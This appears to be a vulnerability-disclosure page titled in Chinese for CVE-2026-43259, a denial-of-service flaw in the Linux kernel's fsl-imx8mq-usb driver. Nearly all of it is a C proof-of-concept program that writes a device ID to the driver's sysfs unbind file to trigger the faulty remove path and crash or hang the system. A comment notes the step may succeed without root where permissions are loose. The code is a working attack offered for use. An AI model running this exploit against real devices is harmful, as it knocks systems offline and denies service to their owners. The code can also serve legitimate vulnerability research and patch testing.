CVE-2026-43259: Linux内核fsl-imx8mq-usb驱动拒绝服务漏洞

/* * PoC for CVE-2026-43259 * Trigger the remove function of the vulnerable fsl-imx8mq-usb driver. * This requires the device to be bound to the driver first. * Compilation: gcc poc.c -o poc */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <stdlib.h> int main() { int fd; // The unbind path for the specific driver const char *unbind_path = "/sys/bus/platform/drivers/fsl-imx8mq-usb-phy/unbind"; // The device ID may vary depending on the hardware configuration // Common IDs for imx8mq usb phy might look like '382f0000.usbphy' const char *device_id = "382f0000.usbphy"; // Check if we are root (usually required for unbind) if (getuid() != 0) { printf("[!] This PoC typically requires root privileges to write to sysfs."); // Attempting anyway as per PR:L (Low Privilege) context, sometimes permissions are loose } printf("[*] Attempting to unbind driver %s from device %s\n", "fsl-imx8mq-usb-phy", device_id); fd = open(unbind_path, O_WRONLY); if (fd < 0) { perror("[-] Failed to open unbind path"); printf("[-] Ensure the driver is loaded and the path exists.\n"); return 1; } if (write(fd, device_id, strlen(device_id)) < 0) { perror("[-] Failed to write to unbind"); close(fd); return 1; } printf("[+] Triggered driver unbind.\n"); printf("[+] If the system crashes or hangs, the vulnerability is confirmed.\n"); close(fd); return 0; }